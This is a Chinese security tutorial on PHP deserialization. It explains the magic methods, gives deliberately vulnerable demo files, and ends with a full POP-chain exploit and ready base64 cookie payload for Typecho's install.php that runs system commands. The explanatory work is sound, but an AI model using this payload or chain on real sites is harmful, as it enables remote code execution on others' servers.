精通PHP序列化與反序列化之"道"

這是 酒仙橋六號部隊 的第 28 篇文章。

全文共計3952個字,預計閱讀時長12分鐘

什麼是序列化和反序列化

序列化:將對象轉換成一個字符串,PHP序列化函數是:serialize()

反序列化:將序列化後的字符串還原爲一個對象,PHP反序列化函數是:unserialize()

在說反序列化漏洞之前我們先了解一下對象概念:

我們舉個例子,如果把生物當成一個大類,那麼就可以分爲動物和植物兩個類,而動物又可以分爲食草動物和雜食動物,那有人可能會問了,爲什麼這麼分呢?

因爲動物都有嘴,需要喫東西,植物都需要土空氣和水,都會吸取養分,那麼這些分類我們可以看成php中的類,動物的嘴和植物需要的土空氣水都可以當作屬性,動物喫東西和植物吸取養分都可以當作方法。世間的萬物我們都可以看成是對象,因爲他們都有各自的屬性。比如:人有身高,體重,年齡,性別等等這些屬性,也可以唱歌,跳舞,跑步等等行爲。如果把人看成一個類的話,那麼身高,體重,年齡,性別這些就是人這個類的屬性,而唱歌,跳舞,跑步就是人這個類的行爲。

我們來創建一個人類看看,首先要考慮到這個人的姓名(zhangsan),性別(),年齡(50),還有它會的技能(會忽悠)。

<?php
class zhangsan{


    public $sex = '男';


    public $age = '50';


    public function skill(){
        echo "沒病走兩步";
    }
}

class就是定義這個類,$sex就是這個人的性別,$age就是方法,$skill()就是它的技能,那麼把類變成對象就很簡單了,只需要new一下就變成對象了。

$belles =  new zhangsan();
// 看看它的年齡
echo $belles->age;
// 換行
echo "\n\r";
// 看看它的技能
echo $belles->skill();

看看運行結果:

這就是一個簡單的對象了,那我們就將它序列化和反序列化一下。

$belles =  new zhangsan();
echo serialize($belles);
echo "\n\r";
unserialize('O:8:"zhangsan":2:{s:3:"sex";s:3:"男";s:3:"age";s:2:"50";}');
// 看看它的年齡
echo $belles->age;

我們可以看到實例化就是把對象轉換成字符串,反序列化就是把字符串在變成對象,之後就可以使用對象的功能了。

再來看看與PHP反序列化漏洞有關的魔法函數,這些函數不用創建,默認存在的。

__destruct()    //對象被銷燬時觸發
__construct()   //當一個對象創建時被調用
__wakeup()      //使用unserialize時觸發
__sleep()       //使用serialize時觸發
__toString()    //把類當作字符串使用時觸發
__get()         //獲取不存在的類屬性時觸發
__set()         //設置不存在的類屬性會觸發
__isset()       //在不可訪問的屬性上調用isset()或empty()觸發
__unset()       //在不可訪問的屬性上使用unset()時觸發
__invoke()      //當腳本嘗試將對象調用爲函數時觸發

魔術方法的觸發條件:

<?php
class Pers
{
    public $age = '18';
    public function __construct(){
        echo '創建對象觸發'."\n\r";
    }
    public function __destruct(){
        echo '銷燬對象觸發';
    }
}


$per = new Pers();  // 創建對象,觸發__construct魔術方法
unset($per);        // 銷燬對象,觸發__destruct魔術方法

可以看到對象在創建的時候調用了construct方法,在銷燬的時候調用了destruct方法。

<?php
class Pers
{
    public $age = '18';
    public function __sleep(){
        echo '使用serialize時觸發'."\n\r";
        return(array('age'));
    }
    public function __wakeup(){
        echo '使用unserialize時觸發';
    }
}


$per = new Pers();
serialize($per);        // 序列化,觸發__sleep魔術方法
unserialize('O:4:"Pers":1:{s:3:"age";s:2:"18";}'); // 反序列化,觸發__wakeup魔術方法

可以看到對象在實例化的時候觸發了sleep方法,在反序列化的時候觸發了wakeup方法。

<?php
class Pers
{
    public $age = '18';


    public function __toString(){
        return '對象當作字符串使用時觸發'."\n\r";
    }
    public function __get($p){
        echo '獲取類不存在的方法會觸發'."\n\r";
    }
    public function __set($n,$v){
        echo "設置不存在的類屬性會觸發"."\n\r";
    }
}
$per = new Pers();
$per->age = '20';
echo $per;          // 把對象當成字符串輸出
$per->p1;           // 獲取類不存在的屬性
$per->n = 'aa';     // 設置類不存在的屬性

對象在echo的時候會把對象當成字符串就會觸發__toString方法,獲取類不存在的屬性p1,觸發__get魔術方法,設置類不存在的屬性n,觸發__set魔術方法。

<?php
class Pers
{
    public $age = '18';


    public function __isset($p){
        echo "判斷屬性是否存在的時候觸發"."\n\r";
    }
    public function __unset($content) {
        echo "當在類外部使用unset()函數來刪不存在的屬性時自動調用的"."\n\r";
    }
    public function __invoke($content) {
        echo "把一個對象當成一個函數去執行"."\n\r";
    }
}


$per = new Pers();
$per->age = '20';
isset($per->aaa);  // 判斷屬性是否存在
unset($per->ages);  // 刪除不存在的屬性
$per('111');        // 把對象當作函數

判斷屬性是否存在的時候觸發__isset魔術方法,刪除不存在的屬性時候觸發__unset魔術方法,把對象當作函數的時候觸發__invoke魔術方法。

php反序列化案例

小案例1

先修改值,然後序列化。

// demo1.php
<?php
class delete{
    public $name = 'error';
    function __destruct()
{
        echo $this->name.'<br>';
        echo $this->name . ' delete';
        unlink(dirname(__FILE__).'/'.$this->name);
    }
}


// demo2.php
<?php
include 'demo1.php';
class per{
    public $name = '';
    public $age = '';
    public function infos(){
        echo '這裏隨便';
    }
}
$pers = unserialize($_GET['id']);

分析一下上面的代碼,可以看到直接獲取id,這個參數可控,我們可以把這個參數輸入成delete類的實例化,並把delete類中的$name的參數進行修改成我們想要的,就可以造成文件刪除,下面來構造一下Exploit:

// 序列化 demo1.php
<?php
class delete{
    public $name = 'error';
}
$del = new delete();
$del->name = 'ccc.php';
echo serialize($del);


// demo2.php?id=O:6:"delete":1:{s:4:"name";s:7:"ccc.php";}

小案例2

// demo3.php
<?php
class red{
    public $name = 'error';
    function __toString()
{
        // echo $this->name;
        return file_get_contents($this->name);
    }
}


// demo4.php
<?php
include 'demo3.php';
class per{
    public $name = '';
    public $age = '';
    public function infos(){
        echo '這裏隨便';
    }
}
$pers = unserialize($_GET['id']);
echo $pers;

我們可以看到id參數同樣可控的,red類有一個__toString方法,這個方法上面說到了,只要當成字符串使用就會自動調用,可以構造下面的Exploit,來查看文件內容。

// 序列化 demo1.php
<?php
class red{
    public $name = 'error';
}
$del = new red();
$del->name = 'ccc.txt';
echo serialize($del);

Typecho安裝文件反序列化漏洞

漏洞代碼分析:

// 要讓代碼執行到這裏需要滿足一些條件:
//判斷是否已經安裝
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}


// 擋掉可能的跨站請求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }


    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }


    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}


// install.php
<?php
// 先調用了Typecho_Cookie::get()方法獲取Cookie中的__typecho_config的值,在base64解密
// 由此可以判斷出poc應該進行base64加密放在cookie中
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
// 然後調用Typecho_Db
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>


// 在Typecho_Db方法中進入到__construct方法
public function __construct($adapterName, $prefix = 'typecho_')
{
    $this->_adapterName = $adapterName;
    // 這裏進行的拼接操作,這裏可以判斷出可能會觸發類的__toString()方法
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    // ...省略
}


// 其中有三個類有使用__toString()方法:
// var/Typecho/Config.php
// var/Typecho/Feed.php
// var/Typecho/Db/Query.php
// 其中Feed可以利用,在Feed__toString()方法中的290行
foreach ($this->_items as $item) {
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    // 在這裏,我們可以控制變量爲不可訪問的屬性phpinfo();,這時候可以判斷出可能會觸發類的__get()魔術方法
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;


// 在文件Request.php中的__get()方法中,獲取到了screenName
public function __get($key)
{
    echo $key;exit;//screenName
    return $this->get($key);
    // 跟進$this->get($key)就是獲取screenName的值爲phpinfo(),很簡單不寫了,然後他調了return $this->_applyFilter($value);
}


// 再跟進$this->_applyFilter($value)
private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            var_dump($filter.'--'. $value);exit;
            // 這裏可以看到獲取了兩個值 "assert--phpinfo()",並交給call_user_func處理
            $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
            //。。。省略

我們再來回顧一邊漏洞產生的步驟:

1.從Cookie或者POST的數據中尋找到'__typecho_config'字段。

2.然後調用'__typecho_config'中的'adapter'和'prefix'實例化一個Typecho_Db類。

3.在實例化過程中,採用了字符串拼接訪問了'adapter',當我們設置的'adapter'字段是一個類的話,就會觸發這個類的__toString()魔術方法。

4.尋找到Feed這個類中的__toString() 魔術方法,訪問了$item['author']->screenName。

5.當$item['author']->screenName爲一個不可訪問的屬性時,將會觸發該類的__get()魔術方法

6.Typecho_Request類的魔術方法中,調用了get(),該方法內,檢測了_params[$key]是否存在。

7.將params[$key]的值傳入applyFilter()方法,並執行代碼。

// Exploit如下:

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;


    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}


class Typecho_Request
{
    private $_params = array();
    private $_filter = array();


    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
    // 執行系統命令
    // public function __construct(){
    //     $this->_params['screenName'] = 'ipconfig';
    //     $this->_filter[0] = 'system';
    // }
}


$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);


echo base64_encode(serialize($exp));


// payload
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjg6ImlwY29uZmlnIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6ODoiaXBjb25maWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

復現漏洞:

將payload傳入cookie中。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章